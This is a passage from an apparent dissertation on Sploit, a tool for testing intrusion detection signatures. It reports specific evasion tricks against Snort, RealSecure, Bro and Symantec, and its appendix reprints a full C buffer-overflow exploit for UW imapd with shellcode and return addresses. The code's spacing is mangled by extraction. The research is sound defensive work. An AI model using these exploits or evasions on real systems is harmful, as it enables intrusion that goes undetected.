line more vulnerable to obfuscation techniques, and in fact in our attacks
the use of telnet control sequences was effective against these rules, ending
in a complete Bro evasion.

IMAP Attack

In the case of the IMAP attacks, the mutation techniques necessary to
evade detection were very simple. The IMAP specification defines that
each client command must be prefixed with a tag in the form of a short
alphanumeric string (e.g., ‘1’, ‘alpha2’, etc.). The protocol also allows a
parameter to be sent in literal form. In this case, the parameter is sent
as a sequence of bytes prefixed with a byte count between curly brackets,
followed by a CR-LF. An example of a legal IMAP login is shown in Fig-
ure 7.3: the LOGIN command is followed by a {6} that refers to the length
of the string davide sent on the next line.
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C: A001 LOGIN {6}

S: + Ready for additional command text

C: davide {6}

S: + Ready for additional command text

C: secret

S: A001 OK LOGIN completed

Figure 7.3: IMAP login example.

WU-imapd accepts a CR character as a separator between the command
tag and the command body. RealSecure’s protocol analyzer accepts only
a space character and drops the request otherwise. In the case of Snort,
an alert is generated when a literal parameter contains more than 255
characters. Snort determines the number of bytes by parsing the string
between curly brackets. However, it only looks at the first 5 bytes after
the open curly bracket and thus it is easy to evade detection by prepending
some zeros to the number (e.g., 1024 becomes 000000001024).

For IMAP, Bro contains just some pattern matching rule derived from
the Snort signature. Surprisingly, these rule did not work properly and fail
to detect also the baseline attack.

HTTP-based Attacks

For the HTTP attacks, the RealSecure analyzer is deceived by some non-
standard characters in the request. For most of our attacks, it was enough
to insert a CR before the HTTP method to confuse the protocol parser.
This is a very serious bug that can be used to make completely ineffective
all the RealSecure HTTP signatures adding just one character to the orig-
inal commands1. A similar problem allowed Sploit to create a successful
mutant also for the chunk encoding attack. In this case, RealSecure strictly
adheres to the HTTP standard that requires that the chunk size field is
terminated by both a carriage return (CR) and a line feed (LF). Apache,
instead, accepts requests in which the field is terminated with a single line
feed character, thus opening the door for a simple attack evasion.

With Snort and Bro, the known techniques of encoding malicious URLs
still seem to be effective, as shown by their inability to detect certain
variations of the directory traversal attacks. To evade Snort in the chunk

1At the time of writing IIS assures that recent versions of RealSecure have been fixed
and are not vulnerable anymore to this evasion technique.
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encoding attack, a parser trap technique has been required since in this
case the alert message was notified by the HTTP pre-processor itself. That
was one of the few cases in which a Snort signature has been evaded using
mutant operators that do not belong to the obfuscation class.

Surprisingly, in some HTTP-based attack Bro was only able to report
the presence of suspicious byte sequences that are used in common plain
or mutated shellcodes. This is an extremely weak mechanism that can be
useful only to detect trivial attacks, especially for novel exploits that are
still unknown to the IDS. However, modern polimorphic shellcode engine
can easily modify a shellcode to be invisible to these simple matching rules.

Other attacks

client-hello C -> S: challenge,cipher_specs

server-hello S -> C: connection-id,server_certificate,

cipher_specs

client-null C -> S:

client-null C -> S:

client-null C -> S:

client-master-key C -> S: {master_key}server_public_key

client-null C -> S:

client-null C -> S:

client-finish C -> S: {connection-id}client_write_key

server-verify S -> C: {challenge}server_write_key

server-finish S -> C: {new_session_id}server_write_key

Figure 7.4: SSLv2 session negotiation NULL record evasion.

The last two attacks are based on the SSL and RPC protocols, for which
we had only one specific evasion technique at the application layer. For-
tunately, all the systems resulted vulnerable to the introduction of NULL
messages in the SSL protocol handshake (as shown in Figure 7.4 and al-
ready explained in section 4.3.4). Again, Bro classified the SSL attack as
an SSL worm intrusion, probably detecting the operation executed by the
attack on the victim host.

Finally, in the case of the RPC attacks, the simple use of RPC fragmen-
tation was enough to evade the Snort pattern matching rules.
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7.2.3. Considerations

The results of the experiment are a clear evidence of how difficult it can be
to discover effective obfuscation techniques through a simple manual ap-
proach. In fact, while it is infeasible for an attacker to manually modify an
exploit in order to try all possible combinations of obfuscation techniques,
it is an easy task for an automatic engine to iterate through possible combi-
nations of operators until a successful mutant exploit is discovered. Using
such an approach, it is possible, for example, to inject a huge number of
different combinations of unexpected characters into an attack stream, as-
certain which ones are really “invariant” for the target service, and then
insert them into multiple attacks to test the real efficacy of a NIDS’s de-
tection engine.

Sploit also allows to easily compose multiple evasion techniques, a deci-
sive factor in many attack evasions. For example, in order to evade Snort
in the FTP format string attack, three mutant operators working at three
different layers were necessary: IP fragmentation at the network layer,
insertion of telnet control sequences at the application layer, and polimor-
phic shellcode mutation at the exploit layer. This proves that having a
tool to automatize the process of composing different evasion techniques
is an invaluable resource for intrusion detection testers.

Also of note is the relative effectiveness of our automated approach as
opposed to manual efforts such as the recent IDS evaluation by NSS (4th

edition) [nss:eval]. In this case, both experiments tested similar versions
of Snort and RealSecure; in addition, many of the same mutation tech-
niques were used for the tests. Our automated mutant exploit generation
approach, however, was successful in evading the majority of the attack
signatures of both NIDSs, while the NSS evaluation concluded that both
Snort and RealSecure were quite resistant to evasion. We believe that this
provides a strong indication of the promise of this automated approach in
contrast to the manual application of evasion techniques.

Looking at the result tables we can see that Snort was evaded (in almost
all the attacks) using only obfuscation and morphing techniques, while
RealSecure was prone almost only to parser trap techniques. This is a
clear evidence that the presence of protocol parsers that analyze the traffic
and provide high-level information to the signatures make them much less
prone to evasion. Nevertheless, the parsers themselves become the weak
links in the chain, since an error in the parser can make all the signatures
ineffective (as happened with the RealSecure HTTP parser).
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Bro’s policy resulted to be very difficult to evade, but unfortunately
they cover just a small part of required signatures (in fact, for many of our
attacks there were no policy at all). The second line of pattern matching
rules was instead surprisingly easy to evade, denoting a poor quality of the
rules itself.

7.3. Dynamic Analysis Tests

To demonstrate the effectiveness of our mutation space exploration tech-
nique, an evaluation was conducted using an extension of Sploit modified
to process feedback from the dynamic taint analysis performed by itrace,
and two network intrusion detection systems. The evaluation testbed was
composed of a Pentium IV-based RedHat Linux 9 system running several
vulnerable services, another Pentium IV-based RedHat Linux 9 machine
running the Sploit prototype, a Pentium IV-based Gentoo Linux 2005.0
machine running itrace and Snort 2.4.3, and a Symantec Network Security
7120 appliance also running itrace and patched to version 4.0.0.11 (the lat-
est sensor revision available at the time of writing). Both NIDSs monitored
a network segment connecting the Sploit host to the target host.

One may naturally question the use of Snort in this evaluation, as its
standard signatures are freely available for analysis. This would seem to
obviate the motivation for dynamic taint analysis-driven exploration of the
mutation space, since it would be easier in practice to manually analyze the
signature rather than infer the signature constraints from the execution of
the IDS. Regardless, we felt it necessary to demonstrate our techniques
against known signatures, in effect establishing a “ground truth” with
respect to their effectiveness. That is, we would like to show that mutants
derived using the presented techniques evade the tested NIDSs in ways that
one might expect to accomplish manually. To show that our techniques
can practically be applied to IDSs where the signature set is unknown, we
demonstrate an evasion against a closed-source system in Section 7.3.3.

7.3.1. Basic constraint-based Snort evasion

For the first experiment, we tested the ability of Sploit to generate an
evasion against Snort using basic constraints derived from direct numeri-
cal comparisons observed by itrace. The signature we examined was the
standard, freely available Snort signature for the Samba trans2open buffer
overflow [bid:7294], the relevant portions of which are shown in Figure 7.5.
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A vulnerable version of Samba, a popular open-source file and print server
for the SMB/CIFS protocols, was installed on the target host.

msg : ’ ’NETBIOS SMB trans2open bu f f e r over f low attempt ’ ’ ;
content : ’ ’ | 0 0 | ’ ’ ; depth : 1 ;
content : ’ ’ |FF |SMB2’ ’ ; depth : 5 ; o f f s e t : 4 ;
content : ’ ’ | 0 0 1 4 | ’ ’ ; depth : 2 ; o f f s e t : 6 0 ;
b y t e t e s t :2 , > ,256 ,0 , r e l a t i v e , l i t t l e ;

Figure 7.5: Snort SMB trans2open overflow signature.

From the signature in Figure 7.5, we see that the matching engine must
see a single 0x00 byte anywhere in the packet, a 0xff byte followed by
the string “SMB2” within bytes 4-9 of the packet, the bytes 0x0014 at
an offset of 60 bytes into the packet, and a 16-bit word test for a value
greater than 256 at offset 62 into the packet. Dynamic taint analysis of
the Snort instance by itrace generated a constraint set corresponding to
these checks. In analyzing the constraints, Sploit determined that the
tests for 0x00, 0xff and “SMB2” were performed on the SMB header of the
packet; because Sploit possessed no available mutant operators to obfus-
cate the application-level header, the mutation engine could not violate
these constraints. The checks for 0x00 and 0x14, however, were performed
on a portion of the exploit that was equivalent to padding, and therefore
Sploit’s shellcode generator was able to generate a semantically-equivalent
padding byte to replace the 0x00 byte. The resulting mutant was able to
successfully exploit the target application while remaining undetected by
Snort.

7.3.2. String constraint-based Snort evasion

For the second experiment, we tested the ability of Sploit to generate
an evasion against Snort derived from an analysis of the inferred string-
matching automaton. The signature under test was a standard, freely
available Snort signature for a remote command execution vulnerability in
Avenger’s News System [bid:4149], shown in Figure 7.6. The vulnerable
script, “a simple form-based web site management tool written in Perl,”
was installed on the target host.

A set of itrace runs was first conducted to infer the string-matching
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msg : ’ ’Web−MISC ans . p l attempt ’ ’ ;
u r i con ten t = ’ ’/ ans . p l ?p = . . / . . / ’ ’ ;

Figure 7.6: Snort Avenger’s News System remote command execution sig-
nature.

automaton used by Snort to detect this attack. The resulting automa-
ton matched exactly that of the string match constraint in the signa-
ture in Figure 7.6 (i.e., the constraint that the URI contains the string
“/ans.pl?p=../../”). Then, Sploit matched this automaton against
the base exploit, identifying the portions of the attack that Snort analyses
during the detection process and it enabled only those mutant operators
that modify URIs, and generated a set of mutants using these operators.
The first mutation, which had a “/./” inserted into the path passed to the
argument p, was able to successfully evade Snort and correctly execute the
attack.

7.3.3. Basic constraint-based Symantec evasion

Having validated our approach against a NIDS with known signatures,
we then wanted to demonstrate its effectiveness against a closed-source
system, where we would have no knowledge of how the signatures were
implemented. To this end, we deployed the Symantec Network Security
7120 appliance on our testbed network. By running the unmutated Samba
trans2open exploit over the link monitored by the IDS and observing the
resulting alert, we determined that the sensor indeed possessed a signature
for this attack. We then applied the mutation space exploration technique
to the IDS, as we did with Snort. The dynamic taint analysis revealed a set
of constraints that included, as in the case of Snort, equality constraints
on a 16-bit word 0xd007 contained in a shellcode padding portion of the
attack. Then, Sploit was able to successfully generate a mutant that
replaced the 0xd0 byte with an alternate padding byte that violated that
particular constraint of Symantec’s signature. Thus, the resulting mutant
exploit was able to successfully compromise the target system while evading
detection by the Symantec appliance.

From these experiments, we can conclude that the dynamic taint analysis
constraints generated by itrace allowed Sploit to significantly reduce the
size of the mutation space in each case.
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For the experiments involving the trans2open overflow exploit, only two
bytes in the payload were identified in each experiment to be signature
constraints, thus eliminating the rest of the mutation space from consider-
ation. An even better situation occurred in the case of the string constraint
experiment. In fact, Sploit had a big set of mutant operators available
to apply to the HTTP-based attack, resulting in a mutation space that
we cannot reduce under 100.000 mutants. Knowing the string that Snort
was trying to match, allowed the Sploit simulation routine to reduce the
space size to only 5 mutants.

Of significance is that, in each experiment, the first mutant generated
from the reduced mutation space was successful in both compromising the
target as well as evading the NIDS under test. As a result, instead of
testing a potentially large set of mutants in a brute-force exploration of
the mutation space with no guarantee of discovering a successful evading
mutant, our approach is able to generate a successful mutant on the first
attempt or at least eliminate a large portion of the mutation space as
successful mutation candidates.





chapter eight

Conclusions

This is not the end.
It is not even the beginning of the end.

But it is, perhaps, the end of the beginning

Winston Churchill

Network-based intrusion detection systems rely on signatures to recog-
nize malicious traffic. The quality of a signature is directly correlated to
the IDS’s ability to identify all instances of the attack without mistakes.
Unfortunately, closed-source systems provide little or no information about
both the signatures and the analysis process. Therefore, it is not possible
to easily assess the quality of a signature and determine if there exists one
or more “blind spots” in the attack model.

Moreover, writing good signatures is hard and resource-intensive. When
a new attack becomes publicly known, NIDS vendors have to provide a
signature for the attack in the shortest time possible. In some cases, the
pressure for providing a signature may bring the signature developer to
write a model tailored to a specific well-known exploit, which does not
provide comprehensive coverage of the possible ways in which the corre-
sponding vulnerability can be exploited.

This dissertation presented a technique for black-box testing of network-
based intrusion detection’s signatures and a tool based on this technique
named Sploit. The tool takes exploit templates and generates exploit mu-
tants that are then used as test cases to gather some insight on the quality
of the signatures used by network-based intrusion detection systems. We
applied our tool to 10 common exploits and we used the resulting test
cases against three of the most popular network-based intrusion detection
systems. The results obtained show that by composing several evasion
techniques it is possible to evade a substantial number of the analyzed
signatures. Therefore, even though Sploit does not guarantee complete
coverage of the possible mutation space, it is useful in gaining assurance
about the quality of the signatures of an intrusion detection system.
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We then improved our system introducing a novel approach for the ef-
ficient exploration of the exploit mutation space. The approach is based
on the dynamic analysis of the network intrusion detection binary to iden-
tify which and how parts of a network stream are checked to identify an
attack. The results of the analysis are then used to automatically drive a
mutation engine so that it applies the most promising mutant operators to
the relevant portions of the exploit. The proposed approach was used to
evade a commercial, closed-source intrusion detection system. In this ex-
periment, the number of generated mutations necessary to evade the IDS
were reduced by several orders of magnitude compared to an exhaustive
search of the mutation space.

The results of our tests raise some interesting considerations. It has al-
ways been possible for a skilled attacker to modify a virus code in order
to evade common antivirus systems. But that was not within everybody’s
reach: that type of action requires expertize in assembly programming,
knowledge in binary manipulation and obfuscation techniques, and time
to test and deploy the new code. Moreover, a new virus cannot pass unob-
served, and antivirus vendors are usually very fast in updating their foot-
print databases. Unfortunately, modifying networks attack can be much
easier. Any attacker with average programming skills can open an exploit
script and make some small change in the code. And, how shown by the
results of our tests, evade detection can sometimes be as easy as adding
some space characters in front of a certain command. Therefore, there is
now a “real” risk that malicious users could start using mutated attack to
actually evade IDS detection.

Finally, while we proved that a skilled attacker can easily evade a single
network intrusion detection system, we found that it is much more difficult
(and in same case not possible at all) to generate a mutant that can evade
more than one system at the same time. Thus, if it is not a good idea to
rely on a single IDS to protect a network, installing two different systems
in parallel (e.g., putting Snort besides a commercial product) could rep-
resent a very effective way to increase the overall detection effectiveness.
Unfortunately, this approach may require more time to review the alert
messages, properly correlate them, and manage the increased number of
false positives. These are interesting problems that are currently studied
by many security practitioners, but that, we might say, is another story.
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8.1. Future Work

Future work will focus on an extension of our mutation approach to eval-
uate the amount of false positives generated by a signature. This would
allow practitioners to evaluate another important aspect of signature qual-
ity. Another extension we are working on consists in creating mutations
that aim at testing the efficiency (both in terms of CPU and memory) of
a certain detection model.

We also plan to extend our dynamic constraint system so that it can
represent more precisely the types of operations performed by NIDSs on
the attack data and it can extract automatically the regular expressions
used by the signatures.

Finally, we plan to extend the proposed methodology to test host-based
and application-based intrusion detection systems as well. Sploit already
provides the functionalities required to test HIDSs, we just need to develop
a new set of mutant operators and set up a testing experiment.





appendix A

Short Glossary of Technical

Terms

This appendix lists the definitions of some of the main terms related to
intrusion detection testing. The goal is not to provide a complete glossary
but just to present a summary of the concepts adopted (or defined) in
this dissertation. Figure A.1 shows in a UML-like form the relationships
between some of the following terms.

Alert - Warning message generated by an intrusion detection system. An
alert should contain all the details of the attack, such as the attack
name, the source address, the date and time, and so forth.

Attack - An intelligent act that is a deliberate attempt (especially in the
sense of a method or technique) to evade security services and violate
the security policy of a system [rfc2828]. In other words, an intrusion
attempt.

Attack Manifestation - Set of observable events that an attack produces
in the environment (Section 4.2.1).

Attack Model - see signature

Evasion Technique - A transformation that aims at changing the attack
manifestation (or its network trace in case of NIDS) to make detec-
tion more difficult, while preserving the effectiveness of the attack
(Section 4.3.1).

Exploit Script - An executable description of how a certain vulnerability
can be exploited to perform some unauthorized action.

Exploit Template - An abstract form of an exploit script that can be
used to generate many different instances of the same attack.
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Figure A.1: Main Relationships Between Terms

False Negative - Situation in which the IDS fails to detect a real intru-
sion.

False Positive - IDS error that consists in identifying as intrusive a nor-
mal action.

IDS - see intrusion detection system

Intrusion - A security event, or a combination of multiple security events,
that constitutes a security incident in which an intruder gains, or
attempts to gain, access to a system (or system resource) without
having authorization to do so [rfc2828].

Intrusion Detection System - A security service that monitors and an-
alyzes system events for the purpose of finding, and providing real-
time or near real-time warning of attempts to access system resources
in an unauthorized manner [rfc2828].
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Mutant Operator - An implementation of some kind of transformation
function (usually an evasion technique) that can be applied to an
attack template (Section 4.3.1).

Mutation Space - The space of all the possible mutation of a certain
attack. It is determined by the number of mutant operators and the
number of values that can be assigned to the operator parameters
(Section 5.1).

Network Trace - A network trace of an attack is the subset of the attack
manifestation events that involve the network traffic (Section 4.2.1).

NIDS - network-based intrusion detection system (Section 2.1.2).

Security Incident - A security event that involves a security violation.
In other words, a security-relevant system event in which the system’s
security policy is disobeyed or otherwise breached [rfc2828].

Signature - A model that describes how to properly recognize a successful
attack analyzing one or more event sources (Section 2.3).

Security Policy - A set of rules and practices that specify or regulate
how a system or organization provides security services to protect
sensitive and critical system resources [rfc2828].

Vulnerability - A flaw or weakness in a system’s design, implementation,
or operation and management that could be exploited to violate the
system’s security policy [rfc2828]





appendix B

Working with Sploit

This appendix shows, step by step through a real example, how to write
an attack model in Sploit. We are going to describe from scratch what
the hypothetical user Alice would do, from the moment she downloads the
exploit from the Internet.

For this short guide, we suppose that Alice starts browsing the Common
Vulnerabilities and Exposures (CVE) database looking for some attack
to use in her NIDS testing experiment. Eventually, she selects a buffer
overflow in the University of Washington imapd server [cve-2000-0284].
The CVE database reports some useful references, such as the link to
the SecurityFocus page for the same attack (archived with the Bugtraq
ID 1110). Here Alice can see which versions of the imapd server were
vulnerable and in which distributions they can be found. She decides to
use a plain RedHat 6.2 installation (easy to find and download from the
Net) as target system for her test.

The attack description [bid:1110] reports:

A buffer overflow exists in imapd. The vulnerability exists in
the list command. By supplying a long, well-crafted string as
the second argument to the list command, it becomes possible
to execute code on the machine.

Executing the list command requires an account on the ma-
chine. In addition, privileges have been dropped in imapd prior
to the location of the buffer overrun. As such, this vulnerability
would only be useful in a scenario where a user has an account,
but no shell level access. This would allow them to gain shell
access.

Overflows have also been found in the COPY, LSUB, RE-
NAME and FIND command. All of these, like the LIST com-
mand, require a login on the machine.
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Alice is lucky and looking around the Internet she can easily find an
exploit that works successfully against her target installation1.

In the next section, we analyze the translation process that Alice must
accomplish to make the attack works with Sploit.

The Original Exploit

Here is the original code of the attack. Some small changes have been done
to better fit the text in the page and to remove some piece of code that
was not necessary for our needs.

1 #define SIZE 1064
2 #define NOP 0x90
3 #define RET12261 0 x b f f f f 3 e c
4 #define RET12264 0 x b f f f f 4 e 0
5 #define RET12264ZOOT 0 xb f f f f 6 9 7
6 #define RET2000 284 0 xb f f f e b c 8
7
8 #define INIT (x ) bzero (x , s izeof ( x ) )
9 #define READ( sock , x ) read ( sock , x , s izeof ( x ) )

10
11 char s h e l l c o d e [ ] =
12 ”\xeb\ x1 f \x5e\x89\x76\x08\x31\xc0”
13 ”\x88\x46\x07\x89\x46\x0c\xb0\x0b”
14 ”\x89\ xf3 \x8d\x4e\x08\x8d\x56\x0c”
15 ”\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
16 ”\x80\xe8\xdc\ x f f \ x f f \ x f f / bin/ sh” ;
17
18 int main ( int argc , char ∗∗ argv ) {
19 char bu f f e r [ SIZE ] , s o c kbu f f e r [ 2 0 4 8 ] ;
20 char ∗ l o g in , ∗password ;
21 long r e taddr ;
22 struct s o ckaddr in s i n ;
23 struct hostent ∗hePtr ;
24 int sock , i ;
25 int kk ;

1This attack is part of the MetaSploit 2.3 framework and many other exploits are
available on the Internet. We picked out a C-based code, complex enough to show the
use of different Sploit features
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27
28 f p r i n t f ( s tde r r , ”\nRemote e x p l o i t f o r IMAP4rev1\n”
29 ”Developed by SkyLaZarT − www. Buf fe rOver f low . org\n” ) ;
30
31 i f ( argc < 5 ) {
32 p r i n t f ( ”%s <host> <l o g in> <pass> <type>
33 [ o f f s e t ]\n” , argv [ 0 ] ) ;
34 p r i n t f ( ”\ t type : [ 0 ] \ tSlackware 7 .0\n”
35 ”\ t type : [ 1 ] \ tSlackware 7 .1\n”
36 ”\ t type : [ 2 ] \ tRedHat 6 .2 ZooT\n”
37 ”\ t type : [ 3 ] \ tSlackware 7 .0\n\n” ) ;
38 e x i t (−1);
39 }
40
41 l o g i n = argv [ 2 ] ;
42 password = argv [ 3 ] ;
43
44 switch ( a t o i ( argv [ 4 ] ) ) {
45 case 0 : r e taddr = RET12261 ; break ;
46 case 1 : r e taddr = RET12264 ; break ;
47 case 2 : r e taddr = RET12264ZOOT; break ;
48 case 3 : r e taddr = RET2000 284 ; break ;
49 default :
50 f p r i n t f ( s tde r r , ” i n v a l i d type . . assuming de f au l t ”
51 ” type 0\n” ) ;
52 retaddr = RET12261 ; break ;
53 }
54
55 i f ( argc == 6 )
56 retaddr += a to i ( argv [ 5 ] ) ;
57
58 f p r i n t f ( s tde r r , ”Trying to e x p l o i t %s . . . \ n” , argv [ 1 ] ) ;
59
60 hePtr = gethostbyname ( argv [ 1 ] ) ;
61 i f ( ! hePtr ) {
62 p r i n t f ( ”Unknow hostname : %s\n” , s t r e r r o r ( er rno ) ) ;
63 e x i t (−1);
64 }
65
66 sock = socke t (AF INET , SOCK STREAM, 0 ) ;
67 i f ( sock < 0 ) {
68 pe r r o r ( ” so cke t ( ) ” ) ;
69 e x i t (−1);
70 }
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71 s i n . s i n f am i l y = AF INET ;
72 s i n . s i n p o r t = htons ( 1 4 3 ) ;
73 memcpy(& s i n . s in addr , hePtr−>h addr , hePtr−>h l eng th ) ;
74 bzero (&( s i n . s i n z e r o ) , 8 ) ;
75
76 f p r i n t f ( s tde r r , ”Connecting . . . ” ) ;
77 i f ( connect ( sock , ( struct sockaddr ∗)&s in ,
78 s izeof ( s i n ) ) < 0 ) {
79 f p r i n t f ( s tde r r , ” f a i l e d to %s :143\n” , argv [ 1 ] ) ;
80 e x i t (−1);
81 }
82
83 f p r i n t f ( s tde r r , ”OK\n” ) ;
84
85 for ( i = 0 ; i <= SIZE ; i += 4 )
86 ∗( long ∗)& bu f f e r [ i ] = retaddr ;
87
88 for ( i = 0 ; i < ( SIZE − s t r l e n ( s h e l l c o d e ) − 1 0 0 ) ; i++)
89 ∗( bu f f e r+i ) = NOP;
90
91 memcpy( bu f f e r + i , she l l c ode , s t r l e n ( s h e l l c o d e ) ) ;
92
93 INIT ( s o ckbu f f e r ) ;
94 READ( sock , s o ckbu f f e r ) ;
95
96 f p r i n t f ( s tde r r , ”Trying to l o g i ng . . . ” ) ;
97
98 s p r i n t f ( s o ckbu f f e r , ”1 LOGIN %s %s\n” , l o g in , password ) ;
99 wr i t e ( sock , s o ckbu f f e r , s t r l e n ( s o ckbu f f e r ) ) ;

100
101 INIT ( s o ckbu f f e r ) ;
102 READ( sock , s o ckbu f f e r ) ;
103
104 i f ( ! ( s t r s t r ( s o ckbu f f e r , ”OK LOGIN completed” ) ) ) {
105 f p r i n t f ( s tde r r , ”Login f a i l e d ! ! \ n” ) ;
106 c l o s e ( sock ) ;
107 e x i t (−1);
108 }
109
110 f p r i n t f ( s tde r r , ”OK\n” ) ;
111
112 INIT ( s o ckbu f f e r ) ;
113 s p r i n t f ( s o ckbu f f e r , ”1 LSUB \”\” {1064}\ r\n” ) ;
114 wr i t e ( sock , s o ckbu f f e r , s t r l e n ( s o ckbu f f e r ) ) ;
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115 INIT ( s o ckbu f f e r ) ;
116 READ( sock , s o ckbu f f e r ) ;
117
118 i f ( ! ( s t r s t r ( s o ckbu f f e r , ”Ready” ) ) ) {
119 f p r i n t f ( s tde r r , ”LSUB command f a i l e d \n” ) ;
120 c l o s e ( sock ) ;
121 e x i t (−1);
122 }
123
124 f p r i n t f ( s tde r r , ” Sending sh e l l c o d e . . . ” ) ;
125
126 wr i t e ( sock , bu f f e r , 1 064 ) ;
127 wr i t e ( sock , ”\ r\n” , 2 ) ;
128
129 f p r i n t f ( s tde r r , ”OK\n” ) ;
130
131 f p r i n t f ( s tde r r , ”PRESS ENTER f o r e x p l o i t s t a tu s ! ! \ n\n” ) ;
132
133 // s h e l l ( sock ) ;
134
135 c l o s e ( sock ) ;
136
137 return 0 ;
138 }

We can identify six main parts in the exploit code:

Lines 0-17 The code preamble.
Nothing important here, just some constant definitions and the shell-
code in binary form.

Lines 18-56 Parameters setup.
The program starts and parses the command line parameters. The
attack requires the address of the target host, a valid pair of userid
and password to login on the IMAP server, an identification of the
target operating system (used to select the right return address), and
an optional offset to be used to tune the attack in case it does not
work properly.

Lines 57-80 Connection phase.
The attack builds the necessary data structures and open a TCP
socket to the remote server.
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Lines 81-90 Shellcode setup.
Here the program adds a sequence of four return addresses at the
end of the shellcode and prepends to it a nop sled.

Lines 91-126 Attack core.
This is the real attack code. The program authenticates itself to
the remote server and then it sends the malicious LSUB command
followed by the shellcode.

Lines 127-136 Conclusion.
If the attack has been successful, now there is a shell bound to the
socket. The original code invoked a shell function that managed
the user interaction (the function code has been removed here for
the sake of simplicity, since it is not important for our purpose).

The Attack Template

Attack Setup

Here we describe how each part of the original exploit can be easily trans-
lated in the Sploit syntax. First of all, Alice creates a new Python class
that extends Exploit:

class ImapLSUB( Explo i t ) :
def i n i t ( s e l f ) :

pass

def s e t up ( s e l f ) :
pass

def execute ( s e l f ) :
pass

def i s S u c c e s s f u l ( s e l f ) :
pass

A look at the original preamble shows that the shellcode used in the
attack is the /bin/sh code proposed by Aleph1 in his seminal paper on
buffer overflows [alephone96]. This code is very common in many linux-
based exploits and it is already available in the Sploit libraries.

Alice wants to preserve all the parameters of the original attack. In
Sploit a parameter can be added using the add param method provided



Chapter B. Working with Sploit 143

by the Exploit base class. Sploit already provides a class library to work
with different types of parameters such as integer values, strings, list of
keywords, and so forth.

This is the corresponding Python code for the exploit constructor:

1 ta r g e t p l a t f o rm = (
2 ”Slackware 7 .0 ” ,
3 ”Slackware 7 .1 ” ,
4 ”RedHat 6 . 2 (ZooT) ” ,
5 ”Slackware 7 .0 ”
6 )
7
8 class ImapLSUB( Explo i t ) :
9

10 def i n i t ( s e l f ) :
11 Explo i t . i n i t ( s e l f , ’Wu−imapd lsub bo ’ ,
12 ’ a fancy HTML attack d e s c r i p t i o n ’ )
13
14 s e l f . add param ( StringParam ( ’USER’ , ’ foo ’ , ’ User id ’ ) )
15 s e l f . add param ( StringParam ( ’PASSWD’ , ’ bar ’ , ’ Password ’ ) )
16
17 s e l f . add param ( KeyListParam ( ’PLATFORM’ , t a r g e t p l a t f o rm [ 2 ] ,
18 ta rg e t p la t fo rm , ’The ta r g e t p la t fo rm ’ ) )
19
20 s e l f . add param ( StringParam ( ’CMD’ , ’ ca t / f l a g . txt ’ ,
21 ’The command to be executed on the remote host ’ ) )
22 s e l f . add param ( StringParam ( ’RESULT ’ , ’ we l l done ’ ,
23 ’The s t r i n g that i d e n t i f i e s a s u c c e s s f u l a ttack ’ ) )

Lines 11-12 call the base class constructor setting the short name and a
longer description of the exploit. Lines 14 and 15 adds to the object two
strings parameters: USER and PASSWD.

The syntax is:
StringParam(ParameterName, DefaultValue, Description)

From now on, USER and PASSWD can be used exactly as any other field
of the class. Moreover, the Sploit engine properly identifies them as
attack parameters and allows the user to set their values in the graphical
interface or inside the exploit configuration file. Line 17 add the PLATFORM
parameter: in this case, the parameter type is a key-list, that means that
the parameter can assume only a finite set of values (specified in the code
by the list target platform).
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At the end of the constructor (lines 20-23), Alice adds two more param-
eters, namely CMD and RESULT, to allow the user to set which command
must be executed by the attack on the remote machine and which is the
expected result. Thus, the oracle can easily identify whether the attack
was successful or not. In the example, for instance, the default behavior
consists in printing the content of the /flag.txt file that it is supposed
to contain the string “well done”.

Now that the class constructor is done, the next step is to fill the set up

method. As we previously explain in Chapter 6, this method is called
by the mutation engine only once at the beginning of the testing process.
So, this is the right place to configure the shellcode according with the
parameter values.

1 def s e t up ( s e l f ) :
2 i f s e l f .PLATFORM == ta r g e t p l a t f o rm [ 0 ] :
3 s e l f . r e taddr = ‘ ‘\ xec\ xf3 \ x f f \xbf ’ ’
4 e l i f s e l f .PLATFORM == ta r g e t p l a t f o rm [ 1 ] :
5 s e l f . r e taddr = ‘ ‘\ xe0\ xf4 \ x f f \xbf ’ ’
6 e l i f s e l f .PLATFORM == ta r g e t p l a t f o rm [ 2 ] :
7 s e l f . r e taddr = ‘ ‘\ x97\ xf6 \ x f f \xbf ’ ’
8 e l i f s e l f .PLATFORM == ta r g e t p l a t f o rm [ 3 ] :
9 s e l f . r e taddr = ‘ ‘\ xc8\xeb\ x f f \xbf ’ ’

10
11 s e l f . eggm = egg . EggManager( egg . aleph1 , 1064)
12 s e l f . eggm . append ret ( s e l f . retaddr , 2 5 )

The first ten lines check the value of the PLATFORM parameter and set the
corresponding return address for further use. In line 11, Alice instantiates
a new EggManager object, choosing the Aleph1 shellcode and setting the
total size of the egg to 1064 bytes (according with what was specified in
line 1 of the original exploit). The next line appends at the end of the
shellcode a sequence of 25 return addresses, still preserving the whole size
of 1064 bytes. This operation concludes the preparation of the exploit,
anything else is part of its execution.

Attack Code

We analyze here how to translate the last three steps of the attack, namely
the connection phase, the attack core, and the attack conclusion. All these
operations must be put in the execute method since they must be done
for each mutant execution.
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First of all Alice writes the code to connect to the target service:

1 def execute ( s e l f ) :
2 s e l f . r e s = ’ ’
3 imapm = imap . IMAPManager( )
4
5 s e l f . l o g . i n f o ( ‘ ‘ Connecting to the s e r v e r . . . ’ ’ )
6
7 i f imapm . connect()==False :
8 raise ServiceDown

Line 2 sets the attack result to an empty string. Then, a protocol man-
ager to manage the IMAP protocol is created. This object provides the
basic functions to open and close a connection, and send or receive IMAP
messages. In the attack code there is no sign of the underlying protocol
managers. In fact, the IMAP manager takes care of creating the managers
to handle the required TCP sockets according with the user preferences
(the IMAP protocol can be mounted on top of both the standard TCP/IP
stack or the Sploit userland stack).

The Exploit object contains a log field that can be used to generate log
messages. It provides four functions, corresponding to the four different
verbosity levels: DEBUG, INFO, WARNING, and ERROR. The user can then
select where the log messages must be redirected (standard output or file)
and the verbosity required for each source (for instance, he may want to
see all the messages related to the exploit, but only the error messages
generated by the various protocol managers). For example, in line 5, Alice
logs an info message to report the attempt of opening a connection to the
remote server.

The connection is opened in line 7. Here it is important to notice that
no IP address can be specified. In fact, the target of the attack is not
hardwired in the exploit code but it is a parameter automatically set by
the Sploit engine. If the connection fails, the attack (line 8) raises a
ServiceDown exception. This is very important because it tells the under-
lying engine that the exploit was not able to properly connect to the target
service. In a testing experiment, it could be a consequence of a previous
instance of the attack that crashed the service. When the attack raises
this exception, Sploit waits few seconds and then tries again to execute
the same mutant. After three attempts, it stops the testing experiment
and asks the user to check and/or restart the target server.
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If the connection succeeds, the real attack can start:

